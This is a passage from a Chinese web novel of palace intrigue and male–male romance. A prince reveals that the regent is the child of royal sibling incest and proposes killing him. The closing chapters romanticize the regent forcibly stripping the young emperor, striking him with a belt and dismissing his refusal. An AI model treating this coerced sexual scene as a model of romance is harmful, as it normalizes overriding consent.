一切还要看宋南卿到底是何意思。这个曾经可以被他抬脚像碾死一只蚂蚁碾死的弃子,现在竟然成了万人之上连他也没办法搞动的皇帝,南幸表情一沉。 宋南卿俯身写完了一个满意的字,没有接他的话,反而抬头说:“九哥过来看看朕写的如何?” 南幸赔了一个笑,无奈移动脚步过去,看见雪白的纸上写着四个风骨尽显的大字——宁静致远。 一笔一划尽显洒脱,结构风韵皆为上佳。 “陛下写的着实是好,心境也高。”南幸嘴角微扬称赞道。 宋南卿瞥了他一眼道:“朕记得九哥写字是父皇亲自教的,只是好像从未见过你写的如何,能否帮朕写一副,也好让朕学习一番。” 南幸推脱,“养病几年已经许久不练字了,有陛下珠玉在前,臣的字着实登不上大雅之堂。” 他确实是不出世太久,王妃之死、与突厥一战之败让他花光了心气,在府中多年未出,不曾想宋南卿这个岌岌可危的皇位快坐稳了。他要是再不出来,等宋南卿彻底把握天下,就再也没有翻身的可能。 自己的失败固然难过,但曾经对自己来说就是一个蝼蚁的废物的成长,更是让他咽不下这口气。 几月前曾经和他打过仗的突厥新贵联系到他,他觉得这是个时机了。 宋南卿放下笔语气微沉,“怎么,九哥是嫌朕这里的墨不够好?” 皇帝陛下年纪尚小,但坐皇位的时间已经不短,他沉下声音面无表情说话的样子,竟然有种让人心惊的不容拒绝。几月前在琼林苑上见他,还未有这种气势,经过宫外留置一遭,加上贾良下马、内阁解散、宫中官吏洗牌,这个少年帝王看起来的确跟之前有些不一样了。 九王连忙说陛下误会,提起笔写了几个吉祥的字句给宋南卿看。 纸上的墨字称得上端庄清正,但跟那封写了情诗的信上相比,却差了一大截,简直不像是同一个人写的。 宋南卿看他右手握笔写的也挑不出什么错处,眉头微动,道:“北上进军一事朕倒没什么意见,就是还需要摄政王点头,过几日给你和西洲办一个践行宴,试探下摄政王意思。毕竟刚刚立秋不久,天气还未转冷,突厥应该不会太着急进攻,也不差这三日五日的。” 南幸点头,道了声多谢陛下,继而又说:“上次陛下吩咐查赵氏罪臣一案,臣已经探查出眉目了。”他从袖子里掏出一卷卷宗呈上。 “赵氏一族贪污受贿的证据链有残缺,经进一步查证后发现有一部分是贾良伪造 ,卷宗上缺少一部分证据,在抄家贾良时翻了出来,赵氏贪污实为嫁祸,这些银钱全都进了贾良口袋。” “只是当时定罪太快,赵老太爷被问斩,没有申辩的机会,子女亲眷也全都成为罪臣之后,着实让人感慨。” 宋南卿翻看卷宗,发现确实如南幸所说,都是贾良一手操作做的,这是一桩冤案。 “既然是冤案,务必平反并安抚他的家人,封赏些银子也好别的也罢,不能让老臣之后寒心。”宋南卿道,“这件事你去做就是,一定还清白之臣以清白之名。” 九王点头应下。 宋南卿坐在椅子上往后靠了靠,不经意般提了一句:“听闻九哥最近娶了个侧妃,很是宠爱?” 南幸和他对视一眼,轻歪了下头考虑他提起这事是什么意思,点头道:“侧妃与臣情投意合。” 但不中用。 他找了月老庙的大师做法,在七夕节那天拜月启动仪式,为此让侧妃提前几日辟谷,为他的王妃之魂回归做好最充足的准备,等待月光精华最盛的时刻,再聚集高官妻妾在一起拜月,这样多人的力量合在一起,借着大师神力,他的爱妻之魂就能进入侧妃的身子里,重返世间。 为了他的爱妻,这些年他寻遍各处,终于找到了现在的侧妃这个合适的身体容器,并经过大师逐步调整各方面更趋向于当年王妃。但还是失败了。 她承受不住王妃之魂,晕厥了过去,白白耗费那么些天花费的时间和精力。 南幸表情沉郁,不过幸好,他发现了一个更为合适的容器,一颦一笑都和当年王妃很是相似,这次他一定能够成功。 “侧妃身体不好,这几日都卧床养病,等臣什么时候立了正妃,一定带来给陛下请安。”九王道。 宋南卿喝了一口添了蜜的桂花茶,道:“那么多年过去了,九哥确实也该找个正经王妃了,毕竟孩子还是需要母亲才能好好长大。” 提起孩子,九王的表情都变得柔和了很多,对宋南卿道:“世子也在逐年长大,但没有兄弟作为玩伴也是有些孤单,陛下什么时候……” 他密切观察着宋南卿的神情,猜想陛下突然提起侧妃,是不是就在暗示自己可以引出这个话题了。 目前皇帝后宫无人,太后皇后都没有,无人给他操持这些事情,其他人都名不正言不顺,而且各怀心思。再加上宋南卿之前对立后一事表现出了极大的抵触,内阁解散也有一多半是因为他们太想插手陛下的私生活,所以再过几月皇帝就要加冠,却还无一人敢跟他提选秀的事,生怕陛下以为臣子又想借着这个名头把自家亲眷安排过来,形成外戚之势。 宋南卿瞥他一眼,语气倒像真的跟皇兄抱怨:“朕处在这个位置上,有些事自己也做不了主。” 南幸问:“陛下一直不肯立后,也是因为……” “不是朕不肯,是不能…”他话只说了一半,拂了拂袖子,看向窗外。 南幸眼中精光一闪,他今日来还有一个目的就是想试探陛下和摄政王的关系究竟变化成什么样,吵架归吵架,陛下心里到底是何想法,才能真正决定他对摄政王的态度。 没想到他的杀手锏还没放出来,就已经达到目的。 之前摄政王一直把持着陛下后宫,以陛下年纪还小为由不让送人进去,但陛下年纪逐年增长,摄政王没办法也没理由,只能说立后的确该提上日程,反倒是宋南卿不肯了。 之前人们都传二人私情,但南幸今日观察和听宋南卿言语,他不是不想,而是不能把这个“要立后、要独立”的想法表现出来,不然摄政王的地位就尴尬了。 陛下只有一直不立后不成家,摄政王才能名正言顺摄政,宋南卿一直朝外表达的都是这个想法,这是他对摄政王的投诚。 但今日宋南卿对自己的暗示话语,是不是意味着…… 九王也看向窗外,枝头停了一只麻雀,正在张望寻食,小小的爪子扣在枝干上,忽而张开翅膀朝更高的树冠上飞去。 “九哥你能明白朕吗?”宋南卿轻声道,一双眼睛清亮有神,直直望向九王。 南幸点点头,他近距离看宋南卿,觉得他这张脸长得实在有些过于精致漂亮了,眉眼之间尤其吸引人流恋。 “臣明白。” 当日朝堂之上,宋南卿派他去突厥而不是摄政王去,其实就已经隐隐约约表明态度了,他不放心再让沈衡领兵,对方权势太过大了,所以才选了较为放心的兄长。 南幸望着眼前这个便宜弟弟,心想菟丝花就是菟丝花,一定要攀附什么才能生长,表现得再怎么强大,内核总是不会变的。 宋南卿点点头,嘴角扬起一个微笑。 ———— 入秋还未太久,天气回温,九王和贺西洲的出军践行宴在避暑行宫举行。 蓝绿色的团云纹样填满了大戏楼的门外,花窗透过明亮的光洒进屋内,四根柱子上和屋顶墙壁盘旋着绿色的缠枝藤萝纹样,被深绿色栏杆围起来的戏台子青砖铺就,十分宽敞。 紫硬木雕花隔扇分隔开区间,宋南卿坐在戏台正对面,描绘精致的宫灯悬在房梁上方,他望着戏台上方悬着的篆字牌匾,倾身对一旁坐着的九王道:“的确别有一番情致。” 这个大戏楼做了全封闭式的戏台,唱戏人的声音通过建筑形成回声,人声清亮,听戏效果极佳。 今日久未出现的摄政王也出席,坐在宋南卿左手侧,一边摇着手中折扇一边望向戏台听戏,他今日难得的穿了身淡色衣裳,坐在台下听戏的样子很像能一掷千金的清贵纨绔。高耸的眉骨、挺拔的鼻子、薄薄的嘴唇,一个侧脸就能窥见侵略性的俊朗之态。 宋南卿用余光能瞥见旁边人侧脸,但表面上他还在和摄政王吵架,况且九王就在身侧,他不能跟沈衡说太多话,否则就要露馅。二人之间氛围剑拔弩张,开场到现在未交流过一句,仿佛形成了一道寒冷隔离墙,周围坐着的大臣都不敢谈笑。 皇帝陛下一边冷脸对着沈衡,挺直腰背一副不愿搭理的样子,一边用脚尖悄悄抵住摄政王的小腿轻蹭,他用手指沾了一些茶水在木桌表面写下三个字—— 好想你。 随着水汽蒸发,字迹很快消散。沈衡扫了他一眼,少年帝王面无表情看着台上,指尖的水渍还未干,脚尖缠在他小腿内侧慢慢上移,像是灵活的蛇尾。 宽大的衣袖掩盖下,二人的手指已经勾到一处,沈衡一派光风霁月,单手拿扇子不怒自威。周围有好奇的目光朝他投射过来,都想看看和陛下离了心的摄政王如今是何之态。 沈衡好整以暇,目光扫过众臣,原本还好奇的臣子连呼吸都似被无形的气势凝滞。 他用指尖在宋南卿手心轻划出笔画—— “我也是。”—— 作者有话说:有没有什么办法能一键回到国庆之前[求你了] 第56章 第五十六章 不止陛下和我姓宋 日光正盛, 戏台子后面的红色幕布前,戏班子里的人已经扮上角色舞刀弄枪正在唱戏。 台上正在唱定军山,唱腔磅礴气势极佳, 两军交战的场面鼓舞了在场将士们的士气, 他们一个劲鼓掌叫好。 宋南卿翻着点戏的本子,伸手捻起碟子里剥好的果仁往嘴里送, 放到嘴边才想起来那是沈衡剥的。 他眼睛转了转, 怕被九王看出点什么, 忙开口道:“这个戏班子唱得不错,不全是以前那些老掉牙的东西, 九哥在哪儿找来的?” 九王回道:“他们最近在京里很有名, 各位大人府上都唱过,臣想着独乐乐不如众乐乐,请到宫里来大家都看看。” 宋南卿点头, 对一旁点戏的宫人说:“再来一出《群借华》, 应景。严大人, 你想看什么?”他略过了沈衡, 只当没看见有这个人。 坐在沈衡另一侧的严大人都在为他尴尬, 感觉自己坐立难安,连忙接过陛下手里的点戏本子, 一手擦汗一手谢恩,根本不敢看旁边摄政王是什么表情。 台上的布景换了一番,演员上台, 二胡声起,新的一出戏又开唱,不是什么耳熟能详的戏,大家都在盯着台上想看看这唱得是哪一出。 身着蓝白戏袍的小生唱腔悠远, 一把好嗓子格外吸引人,当他唱到“政由宁氏,祭则寡人”之时,后面的士兵还在聊天,前排坐的高官已经鸦雀无声,寂静一片。 坐在沈衡旁边的严大人手一抖,戏本子掉落在地。 全场的目光都集中他身上,“砰——”的一声,宋南卿手中的茶杯被他摔碎在地,溅开的茶水洒在那个戏本子上,湿透一片,字迹晕染开来变得模糊。 九王连带着旁边的大臣连忙跪地,一时间唱戏声停止,整个戏楼内部死一般沉寂。 宋南卿嘴角下压,面露愠色,指着九王道:“你点的好戏?” 这出《华岳赐环记》出自《左传》典故,讲的就是一国重要的政事都由宁氏处理,而作为国君,只能主持祭祀一类的仪式。在行军践行宴上唱这一出,包藏的祸心简直连掩盖都不加掩盖。 南幸摇头为自己辩解,马上派人去查到底是谁点的这出戏,在陛下和摄政王正闹的不可开交的敏感关头点这个,简直是不要命了。 但事与愿违,没有人点这一出,戏班子不知为何凭空上演了这不知是谁安排的戏曲。 宋南卿眯了眯眼睛打量着九王,然后对魏进吩咐道:“戏班班主呢?把他们全都拉到仪鸾司审问,朕就不信找不出这个幕后主使!” 沈衡端坐旁边良久没有发声,好像事不关己,但在此刻却站出来道:“陛下,这件事说到底只是一出戏,为了一个虚无缥缈的解读而把那么多人拉去仪鸾司,恐对陛下圣明的形象有损。” 宋南卿点点头被气笑了,连说几句好好好,“那你们两个就在这里给朕查,查不出来,谁都别想走。” 祭则寡人,政由宁氏。谁是宁氏? 圆润微挑的眼睛看向沈衡又扫过南幸,宋南卿头上的金冠上镶嵌的宝石折射着窗外日光,令人睁不开眼。 他一甩衣袖转身离去,环佩相撞碰出一连串清脆玉响。 行宫别院,宋南卿倚在栏杆上喝着茶,夏天已过,荷花池里只剩几株残荷,不见荷花踪迹,曾经接天莲叶无穷碧,现在只剩残叶。 红墙绿瓦间,绿色的树红色的花开得也不如之前旺盛,宋南卿手撑在栏杆上,从碎页窗的缝隙里看不远处的一株红枫。 崎岖蜿蜒的树干上,枫叶茂密。之前贺西洲跟他说过,东瀛有种枫树,四季长红,大概这一株也是类似品种。 远处的天际线朦胧广阔,不断延长,宋南卿收回目光,瞥见不远处朝自己走来的身影,是九王。 “陛下。”南幸走到他跟前弯腰行礼。 宋南卿抬眼问道:“找出幕后主使了?” 九王顿了顿,“臣等无能,但臣有一言,这事不是我做的。” “可朕看,你嫌疑最大,这马上就要带兵出征,传什么政由宁氏,九哥是何居心啊。” 南幸倒也不慌,只是说:“陛下,宁氏另有其人,臣和陛下可都姓宋。” 宋南卿轻笑:“正是因为你我都姓宋,所以只有你,有这个可以越位的权利和机会,摄政王再能干,他想当皇帝都得改朝换代,而九哥你却不同。”能洞察人心的眼睛像一颗夜明珠,直直望向南幸的内心。 南幸摇头,看向宋南卿的眼神带上了一丝不寻常,他倾身低言:“陛下,非也。臣有一个秘密,放在心中多年,日夜难安,现在想告诉陛下,或许可以证明自己清白。” 宋南卿心中一紧,这是他没有预料到的事情,但眼见九王的样子又不像是作假… 二人缓慢踱步来到别院室内,九王连随身的侍从都没带,只身前来。这个房间内有一个大大的铜镜,印出清晰的人影,久无人居住的房间就算打扫干净,还是有种说不出的暮气沉沉。 春见上来倒了茶之后,就退到门外守着,房间里只有他们二人。 天色暗了下来,不知是阴天还是因为天黑,这个房间邻水,空气中有种潮湿的味道。 宋南卿坐在桌前拨弄着茶壶上的把手,其实没觉得九王会跟他说什么秘密,这都是他想洗脱罪名的手段罢了。他心里思忖着等下说不定能趁着混乱去找沈衡,他都好久没见他了! “九哥有话说便是。” 南幸单手放在桌子上,食指微抬轻扣桌角,道:“其实不只陛下和我姓宋…”他看向宋南卿,一字一顿道: “摄政王同样也是。” 宋南卿心里那根弦猛地绷紧,他皱起眉问:“你什么意思?” “摄政王不是草原王的血脉,是先帝和长公主的孩子,我们的兄弟。”南幸依然是那副温润模样,但嘴里说出的话却像惊雷一般炸在宋南卿耳侧。 宋南卿手里握着杯子,水面荡起波纹,他深吸了一口气,目光灼灼,摇着头道:“不可能,九哥你没必要开这种玩笑,先帝和长公主…那不是……” 兄妹□□。 宋南卿心底一沉,原本风轻云淡的表情保持不住,嘴角僵在那儿不上不下。 南幸靠近了一些,在宋南卿耳边轻声说:“我亲眼看到的。” 二十多年前,长公主和亲科尔沁,那时候他还是个小孩,炎热的午后他在御花园假山上玩耍,那个夏天格外热,热的大家都还在午睡,他偷偷溜出来玩。 公主和亲的嫁妆从内务府准备好了往外运,他看到其中有许多精巧玩意,趁人不备钻到了聘礼箱子中,竟然在里面睡着了,被人抬着一路到了公主殿中。 他醒来之时,听到外面有两个人在说话,其中一个是他父皇的声音。 他本想钻出来找父皇抱他,但接下来听到的话让小小的他捂住了自己的嘴巴生怕发出一点声音。 “皇兄,我这样真的能骗过草原王吗?万一被发现了…” “柔儿,这只是权宜之计,你先去科尔沁替我稳住大局,等孩子生下来,我必定会把他接回来,这个天下一定会是我们的孩子的。到时候他继承科尔沁草原,我们不费一兵一卒就可以扩大版图。” “可是我怕,皇兄,我不想和你分开。” “你如果留在宫里,这个来路不明的孩子如何解释?况且他们指明要嫡亲公主,如果柔儿你不去…我们就只能开战。” “我去,我不会让皇兄为难的。” “我心中只有你一个人,从小时候开始就只有你一个妹妹,皇兄不会害了你的。” “我知道,我一直也想为皇兄做些什么,但你保证一定会接我和孩子回来…” 南幸缩在箱子里听见了二人抱在一起亲吻的声音,紧接着是急促的离去声。 他躲在里面许久不敢出去,等他终于忍不住推开箱子缝隙跑出去的时候,又听见了门外的脚步,他连忙连滚带爬躲到了床底下。 皇帝慢慢走进来坐到床上,在安静的午后,鞋踩在木地板上的声音格外明显。南幸能看见鞋跟上绣的龙纹样式,他听见皇帝对着旁边人说:“公主呢?” 那人回道:“在穿嫁衣。” 皇帝叹了一口气,“朕也不想她去和亲,可是怎么偏偏就有了孩子,那种孽障…生下来会遭天谴的。” 他摇了摇头,“堕胎伤身子,在京里给她找个驸马,朕又看不得她在朕眼皮子底下和丈夫同进同出,她万一把我们的私情张扬出去,朕的千古名声算是毁于一旦。干脆送远一点,眼不见为净吧,身为大盛长公主,为国事尽一些力也是理所应当的。” “长公主福泽深厚,必会得老天庇佑。” 皇帝道:“她怀孕一事,除了你还有谁知道?” 那人回道:“没有了。” “很好。”皇帝沉吟片刻,南幸躲在床底下听到一种奇怪的声音,像是切肉,但又不像,总之是什么东西没入人体的声音。很快,他看见红色的血浆从耷拉下来的床单上流淌下来,一滴、两滴,然后是连成线的红。 “扑通”一声,一个人倒地,面朝下,正好对着床底的方向。 南幸看到了一双死不瞑目的眼睛。 窗外一只鸟飞过,翅膀上的羽毛掉落了几根在窗台上,连带着落叶一起,毫无生机。 “长公主就是怀着孩子走的,这也可以解释为何她那么快就能生下孩子,要知道草原王已经五十多岁,多年没有新孩子出生。”南幸认真道。 宋南卿的手指在发抖,他面色苍白,手里的杯子磕在桌面上,声音滞塞:“朕凭什么要信你。” “陛下觉得为何摄政王会是沈衡?先帝那样一个人,他都快死了,能受沈衡什么逼迫?”南幸压低声音道,“曾经的公主宫殿有许多秘密,可惜一把大火都付之一炬了。” 宋南卿突然睁大了眼睛,想起春日农耕之时从公主后院那块荒地里挖出来的一大箱子金元宝,以及那些刻着麒麟的金片。 ——“旧时宫中嫔妃怀龙子,会在宫里后院埋金为孩子祈福,寓意金不换。” “也没听说前朝宫里在这附近有哪个嫔妃有孕。” “奴才乱说的,许是谁私藏的银钱罢了。” 那日田地中他和春见的对话忽然又飘进脑海,当时他没注意,但现在仔细想来,沈衡的表情的确有些不对劲,春见突然改口也很奇怪。 最奇怪的是,那日之后,曾经邵阳长公主的住所就起了一把大火,烧了许久才灭,里面连屋架都塌了个彻底。当时宫人来报说是春耕时火种没有熄灭,被风吹又重燃。 但这件事真的有那么凑巧吗? 宋南卿后背发凉,抑制不住颤抖。如果这件事是真的,那沈衡知道吗? 他已经陷入自己的情绪漩涡无法逃离,听不见九王又说了什么。 沈衡如果不知道,他知道了会怎么样呢?知道自己也是先帝血脉,直接做皇帝岂不是比控制他要快得多。 沈衡如果一开始就知道,他…他还能面不改色接受自己的亲吻、拥抱甚至亲密接触…… 一想起刚开始的时候,沈衡对自己想要接吻想要越位的行为表现出的拒绝和克制隐忍,宋南卿就不敢往深处想。 他说不行,不可以,我们不能,你一定要这样吗?你真的想要吗?你非要和我走上这一条路吗? 他不懂,沈衡自己又不是什么真的高尚良善之人,他明明对自己有感觉,到底有什么一定要拒绝自己的理由,但现在他好像知道为什么了。 宋南卿抓了抓头发,心理防线已经开始坍塌,他仰起头望着天,感觉云彩好低,好像要塌下来一样—— 作者有话说:[比心] 第57章 第五十七章 你有说不行的权力吗?…… 沉璧台这个名字起的真好, 宋南卿抬起眼望着前面那个铜镜,模模糊糊照出自己的面容来,他感觉自己的心好像和太阳一样沉到了水里。 话本子也不完全是骗人的, 有血缘关系的人好像真的容易被对方吸引, 长公主爱上自己的兄长,走上了被骗去和亲最终埋骨他乡的道路, 天家无情, 亲情在利益面前都如过眼云烟, 更何况是爱情呢? 从小,沈衡就教他, 感情对一个帝王来说是最无用的东西。 他怎么能真的对一个人付出感情呢? 如果沈衡早就知道, 那他一直在骗自己,但也一直没有杀掉自己上位,明明这是很容易的事, 他宋南卿连最后存在的理由都没有了, 沈衡不需要傀儡, 本就可以自己当皇帝。 九王见他半天不说话, 添了一把火, “陛下,我今日之所以把这个秘密告诉你, 是想说,比起摄政王,我才是微不足道的蝼蚁。要不要和我一起联手, 杀了摄政王?” “摄政王不除,后患无穷。” 宋南卿撩起一缕发丝掖到耳后,眼珠幽黑,定定望着他道:“此事, 你没有告诉摄政王吧?” 九王摇头:“选定战线,臣不会左右摇摆,但如果陛下不允,臣只能另寻他路,如果摄政王知道,他一定会愿意和臣合作。” 宋南卿点头道:“很好,朕答应你,摄政王除去后,他的一应事务会交由你来掌管。” “朕还是很在意金星伴月的天象之说,为了接下来合作愉快,这次出军突厥,就让西洲代替你吧,我们还需要仔细谋划,这件事缺了你朕一个人可办不成。” 南幸想拒绝,被宋南卿截住了话头,“合作也得拿出点诚意来,如果你也这样威胁摄政王,他一定会先把你杀了,让世上再无第二人知晓这个秘密。” “这样说来,他和先帝还真是像,倒是朕反倒不像先帝的儿子了。”宋南卿往后倚靠在靠枕上,很快就从情绪中恢复过来,轻笑着看他。 九王无可奈何,只好妥协,因为他知道宋南卿说的是真的,沈衡才不会跟他讲什么道理。 一声惊雷劈下,雨水哗哗往下淌,宋南卿条件反射般一激灵,才反应过来手里的茶已经冷了。 几道雷声接连落下,宋南卿望着窗外落在一片残荷上的雨水,心想不止雨打芭蕉,雨打荷叶的声音听起来也别有一番韵味。 正在他盘算着如何与九王过招之时,门外传来了急促的脚步声,紧闭木门一下子被打开,屋外的沈衡手里拿了一把伞,大概是因为走得急,衣摆上都淋了不少雨,留下一团一团的湿痕。 宋南卿望着他的眼睛,眼中像有火花闪烁,嘴上却不急不慢道:“怎么,摄政王也是来告诉朕,这出戏不是你做的,但也查不出幕后黑手吗?” 九王和摄政王对视一眼,各怀心思。 空气安静了几瞬,九王很会看眼色,拎起摄政王扔在地上那把伞撑开就往雨里走,转身之前他朝回望,看见宋南卿对他轻轻点了个头。 沉璧台的门被关上,屋外天色很暗,又是一道雷声轰鸣,沈衡抬起湿透了的衣袖,温暖的手心捂住了宋南卿的耳朵,那道长长的雷声他只听见了须臾,就被隐没在男人手掌之中。 宋南卿抬头看着他,外面雨太大,他好像很着急赶来,雨水顺着高耸的眉骨朝下淌,流过山根,一路往下,他连袖子都是湿的,往外滴着水。 “没事。”宋南卿看见他嘴唇微动,辨别出唇形是这两个字。 沈衡不知道,自从山洪那一夜雷电交加还要艰难逃出生天后,宋南卿他就不怕打雷了。沈衡还以为自己是那个一听雷声就会手抖心慌喘不过气的小孩,只有他陪在身边,才能睡得好觉。 宋南卿心中缠绕着复杂滋味,望着沈衡关切的眼睛,踮起脚抱住了他的脖子,猛地贴上了他冰凉的嘴唇。 在暴雨中走来,淋过雨的嘴唇有着一丝丝苦,又凉,宋南卿拿自己温热的舌头贴上去舔舐,勾勒形状,他几乎是带着撕咬的力度去亲吻,二人身体贴的很紧,一丝缝隙都不曾留下。 一直亲到快要窒息,宋南卿才分开紧紧贴在一起的嘴唇。 沈衡托着他的后脑勺轻轻揉动,问道:“怎么了,想我了?” 熟悉的琥珀色眼睛亮如星辰望着他,宋南卿垂下眼,心想先生教的不对。 感情不是可以控制的东西,帝王也是人,帝王的心和平常人的心没有分别,他控制不了自己的感情,也控制不了自己的心跳。 他明知道沈衡的身份,但控制不了自己想靠近的想法,他明知道这是危险,但却后退不了。 “刚刚我跟九王谈话,他已经相信了我们彻底闹翻,你在明我在暗,等我找到时机,就可以一击致命。”宋南卿没什么情绪起伏道。 沈衡点头,问:“只说了这个?你们待了很久。” 宋南卿深深吸了一口,望着他还在滴水的发丝,移开目光道:“我们刚刚在聊,我立后的事,再拖下去,也实在没办法堵住悠悠之口。” 本来细细密密滴下的雨声都有了一丝停滞,昏暗的室内看不清楚人眼底的色彩,沈衡沉默了许久,道:“那就择吉日让礼部去办,挑些年龄合适、性子和顺的。” 宋南卿攥紧了手指,几日未剪的指甲已经长长,嵌在掌心留下深深的红色月牙痕迹。 “那你呢?”他低着头问。 “我什么?” “你何时娶妻?” “我不娶妻。” 宋南卿猛地吸了吸鼻子,声音晦涩沙哑:“为什么?” 沈衡想掰过他的脸,被躲开了,皱着眉说:“我保证过,没有别人,不会有别人。” 外面的雨点点滴滴击打在荷叶上,宋南卿在眼泪滑落的前一秒,用力推开他,飞快跑到了漫天的雨幕里。 一滴滴雨水连成串,串成行,从眼下流淌至下巴,又滴落进衣领。入秋之后雨真的很凉,比从人的唇瓣上感受到的要凉许多。 当初在温泉里,宋南卿对不想接受他的爱却救了他的命的沈衡说:“我讨厌你。” 现在他站在冰冷的雨里,知道沈衡的身世得知一切后只想说“我恨你。” 沈衡眉眼压低,看见瞬间湿透的少年,眼里生出几分戾气,跟着快步走出去拉住宋南卿滴水的袖子,弯腰捧住眼前苍白冰凉的脸,“有什么事别站在雨里说,告诉我,九王跟你说什么了?” 雨声太大,大到两个人面对面都听不太真切对方的言语,水汽弥漫在周围,荷花池上升腾起水雾,周遭一切都变得模糊。 宋南卿推开他的肩膀,甩了好几下都没能成功甩开沈衡的手。 两个人的头发都已经湿透,雨水挂在睫毛上往下滴落,大盛王朝最尊贵的两个人在雨中变得狼狈不堪,但无一人转身离开。 眼见沈衡攥着宋南卿的腕子要往屋里拖,阻止他淋雨,少年连忙要往远处跑,脚下溅开水花,又被生生拽住手腕。 水滴打在青石板上,发出连绵不绝的声响,雨下的太大,简直像是浇灌一般,落在皮肤上有了些许的痛意。沈衡拧起眉望着少年已经发白的嘴唇,又说了一遍:“走。” 宋南卿蹲在了地上降低重心,摇头一个劲推他道:“我不走!别管我!” 细细的手腕上被攥出红痕,他的衣摆尽湿垂在地上,像是绽开的水中莲,抱着膝盖就要往地下坐。 为了阻止沈衡拉他的动作,宋南卿努力朝反方向想拔出自己的手,脸部肌肉都因为用力而皱起。 摄政王气息沉沉,被抗拒了几次后,下颌绷紧,直接弯腰俯身一手捞起少年的腿弯,一手托着背把人打横抱起,往上轻松一掂转身迈开腿大步朝屋内走去。 “放开我——你放开我!”少年胡乱踢着小腿撕扯他的衣服,握着拳头在沈衡肩膀乱锤,但男人力气实在太大,任他怎么摇摆晃动都被稳稳抱在怀里,挣扎不开分毫。 行宫别院的门被一脚踢开,沈衡抱着少年进入房间内,一边吩咐春见去拿布巾和干的衣服,一边上手开始解宋南卿身上湿透的衣衫。 宋南卿被他抱在腿上也十分不老实,左右扭着躲开他的手,偏过头说:“别碰我,我自己会换!” 沈衡沉着一张脸,用干燥的布巾整个打开盖在他脸上,手法粗糙毫不温柔开始擦拭。 行宫比不上宫里,这里的布巾不是丝的,擦的宋南卿脸痛,他摇着头推沈衡的手,因为情绪上头挣扎的厉害,一个不小心打到了人的脸。 “啪”的一声,响声不大,却让宋南卿愣住了。 房间里除了外面的雨声,安静的没有其他声响,让人心里莫名发慌。 他还没反应过来,怔怔看着自己有些发麻的手心,下一刻就被沈衡单手攥住两个腕子禁锢在一边,从最外层开始,湿透的衣衫被层层剥落,粗糙布巾擦过沾了雨滴的脖颈,留下淡淡红痕。 衣服全都湿透了没办法穿,合适的干衣裳没那么快找来,宋南卿被男人一把抛起扔在床上,墨绿色的锦被之上一截光滑小腿压在上面,白的亮眼。 清瘦的膝盖带着被雨水浸泡过的光泽,并在一起轻轻颤抖。宋南卿攥住身下的锦被,手撑在床上慢慢朝后挪动,逐渐往床角的方向慢慢蹭,白到透亮的脸上带了一丝惧意。 沈衡眼底很暗,面无表情一步步朝床边走来,他拾起零落在脚踏上的腰带对折,虚虚握在手里。 “要闹?”沈衡的湿衣服也没继续穿在身上,蜜色的肌肉还沾着未干的雨水,墨色腰带被他攥在手里下端随着摆动,二人一退一进,保持着微妙的平衡。 宋南卿抱着膝盖摇头,大大的眼睛因为哭过又被雨水浸泡,还泛着红。他已经被逼到了床角,脚趾踩着柔软的被子无意识蜷起,嘴里小声念着:“你别过来,我不是故意的…” 细细的脚腕被一只大手牢牢攥住往外一拉,宋南卿倒在床上被一路从床角拖出来,手指抓着被子留下一连串皱褶。 笔直的双腿并在一起,细嫩的皮肉在昏暗的房间里像是笼罩了一层柔光般。细细的脚腕被男人的一只手掌握,左脚踝骨处坠着一条细细的金链子,绕了三道盘旋,如意莲的金坠子吊在下方,随着动作小幅度摇摆。“啪”的一声,甩动的腰带落在了床沿上,惊得宋南卿一个瑟缩,连腿根处的软肉都在发抖。 他的大腿压在床边,刚刚皮带落下时不小心擦过一点,白皙的皮肤上瞬间留下了长长的一道印子,少年惊叫一声尾音带上了哭腔,他挺动腰身左右挣扎,冰凉的腰带被男人提着从大腿上方划过,宋南卿膝盖抖动小腿抽搐,惊慌失措的脸上均匀覆盖上了一层绯红,像熟透的水蜜桃。 他呜咽着抑制不住哭声,湿润未干透的发丝散落在床上,凌乱又可怜。 沈衡提着腰带悬在上空,下端有一下没一下掠过被抽打过的红红皮肤,引起宋南卿阵阵瑟缩。 “想挨打了是不是?那么不乖。” 沈衡暗色的眸子轻眯,松松握着腰带的手翻转过来,用手背虚虚蹭过少年的腿,匀称笔直的双腿触手生润,被温热的手指一碰就忍不住绷紧。 他倾身捏住宋南卿的脸往上抬起,嘴唇一寸寸贴近,就在热气相缠即将相触之时,宋南卿猛地转头躲避,下巴上留下一道红色的指痕。 “不行……”宋南卿梗着修长白皙的脖子,眼神含着倔强,里头闪过躲避的光。 沈衡被拒绝之后轻顶了下腮,点点头重复了一遍:“不行?” 琥珀色的眸子在昏暗的房间里显得压迫逼人,他眼神往下扫过宋南卿的嘴唇,又看向人的眼睛,“你觉得你现在有说不行的权力吗?”—— 作者有话说:砰砰砰 第58章 第五十八章 是我引诱你的吗? 北园寺惊魂一夜, 从李家村回来后,面对宋南卿的逼问和示爱,沈衡说过, 希望你不会后悔。 那时候宋南卿以为是威胁, 没想到是预告。 温热的手指从鬓边撩过,慢慢滑向脖颈, 以往觉得温柔的动作, 此刻在宋南卿看来像是冰凉的毒蛇在他身上爬, 引起阵阵颤栗,鸡皮疙瘩在皮肤表面立起。 刚刚情绪上头没有来得及细想, 现在仔细思索起来, 不免令人觉得恐惧。 他无法想象,沈衡是怎么一边知道他们是亲兄弟的同时,一边和他做那些事的。先帝因为怕事情败露, 甘愿狠心把长公主送去千里之外的科尔沁, 沈衡如果早就知道真相, 他又是怀着什么心思同意自己的感情要求, 和他一起走上这条不伦之路的呢? 宋南卿觉得眼前的人深不可测, 令人毛骨悚然,平静淡然的外表下掩盖的是一颗疯癫的心。 本以为自己已经可以青出于蓝, 至少和他旗鼓相当了,但现在宋南卿才发现,他差得远, 光是心理素质就差的远。 斜对面的铜镜隐隐约约映出他们两个人的身影,宋南卿感受到来自后颈的压力,是沈衡捏住了他,像提起一只兔子般反复揉捏着他的后颈。 以往只有在他很不高兴的时候, 才会做出这个动作。粗糙的指腹在细嫩的后颈摩擦,带着掌控和震慑。 温热的嘴唇覆盖上来含住少年的唇珠,宋南卿被按着脖子后退不得,嗓子眼里挤出一声轻吟,肩膀耸起浑身不自觉颤抖着后仰。 饱满嫣红的唇珠被含住一半拉长,沈衡眉眼压低,眉尾一抬贴着人的嘴唇说:“别躲。” 压低的声音带着沙哑,失去以往的从容不迫,沾染上不悦。 宋南卿被舔着舌根,头皮发麻,止不住颤抖。 